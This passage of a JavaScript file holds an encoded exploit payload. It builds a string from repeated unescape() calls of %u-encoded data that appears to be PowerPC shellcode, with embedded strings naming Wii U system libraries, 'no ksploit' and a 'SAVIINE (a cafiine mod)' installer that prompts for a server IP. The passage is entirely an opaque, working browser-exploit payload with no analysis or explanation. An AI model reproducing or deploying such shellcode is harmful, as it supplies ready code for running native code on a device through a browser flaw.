unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93c1%u0028%u7cbe%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u2b5d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001"); + str += unescape("%u9149%u0284%u419e%u0130%u391e%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3d%u0b78"); + str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0110%u7cfe%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378"); + str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u00a0%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u2f83%u0000%u419c%u0014%u893f%u0008%u3bc0%u0001%u2b89%u0008%u419e%u0008%u3bc0%u0002%u7f83%ue378%u389f%u0008"); + str += unescape("%u38a0%u0001%u4bff%ufd3d%u2f83%u0000%u419c%u005c%u893f%u0008%u2b89%u00fe%u409e%u0050%u3d20%u1000%u3940%u0000%u6129%u00e4%u397f%u0030%u8129%u0000%u7fc3%uf378%u9149%u0284%u8121%u0000%u913d%u0000"); + str += unescape("%u7fa1%ueb78%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u8121%u0000%u913d%u0000%u7fa1%ueb78%u397f%u0030%u800b%u0004%u3d20%u1000"); + str += unescape("%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u3860%uffff%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%ufeec"); + str += unescape("%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024"); + str += unescape("%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018%u4bf7%u2971%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036"); + str += unescape("%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001"); + str += unescape("%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufb21%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufba5%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6"); + str += unescape("%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c"); + str += unescape("%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u2855%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0"); + str += unescape("%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufa45%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001"); + str += unescape("%u4bff%ufac1%u2f83%u0000%u419c%u0060%u8921%u0010%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufa9d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000"); + str += unescape("%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000"); + str += unescape("%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78"); + str += unescape("%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u2721%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284"); + str += unescape("%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008%u93a1%u0009%u93c1%u000d%u4bff%uf915%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020"); + str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc"); + str += unescape("%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u2661%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284"); + str += unescape("%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6"); + str += unescape("%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf7f9%u3d40%u1000%u614a%u00e4"); + str += unescape("%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020"); + str += unescape("%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u1414%u636f%u7265%u696e%u6974%u2e72%u706c"); + str += unescape("%u0000%u0000%u5f45%u7869%u7400%u0000%u4443%u466c%u7573%u6852%u616e%u6765%u0000%u0000%u4f53%u4566%u6665%u6374%u6976%u6554%u6f50%u6879%u7369%u6361%u6c00%u0000%u4173%u7365%u7274%u696f%u6e20%u6661"); + str += unescape("%u696c%u6564%u205f%u4578%u6974%u2e0a%u0000%u0000%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564%u2044%u4346%u6c75%u7368%u5261%u6e67%u652e%u0a00%u4173%u7365%u7274%u696f%u6e20%u6661%u696c%u6564"); + str += unescape("%u204f%u5345%u6666%u6563%u7469%u7665%u546f%u5068%u7973%u6963%u616c%u2e0a%u0000%u0000%u6e6f%u206b%u7370%u6c6f%u6974%u0000%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e"); + str += unescape("%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363"); + str += unescape("%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u0000%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000"); + str += unescape("%u2d2d%u2053%u4156%u4949%u4e45%u2028%u6120%u6361%u6669%u696e%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665"); + str += unescape("%u7220%u4950%u0000%u0000%u322e%u2050%u7265%u7373%u2041%u2074%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00"); + str += unescape("%u7676%u7600%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c"); str += unescape("%u0000%u2040%u0000%u2044%u0000%u2048%u0000%u204c%u0000%u2050%u0000%u2054%u0000%u2058%u0000%u205c%u0000%u2060%u0000%u2064%u0000%u2068%u0000%u206c%u0000%u2070%u0000%u2074%u0000%u2078%u0000%u207c"); str += unescape("%u0000%u2080%u0000%u2084%u0000%u2088%u0000%u208c%u0000%u2090%u0000%u2094%u0000%u2098%u0000%u209c%u0000%u20a0%u0000%u20a4%u0000%u20a8%u0000%u20ac%u0000%u20b0%u0000%u20b4%u0000%u20b8%u0000%u20bc"); str += unescape("%u0000%u20c0%u0000%u20c4%u0000%u20c8%u0000%u20cc%u0000%u20d0%u0000%u20d4%u0000%u20d8%u0000%u20dc%u0000%u20e0%u0000%u20e4%u0000%u20e8%u0000%u20ec%u0000%u20f0%u0000%u20f4%u0000%u20f8%u0000%u20fc");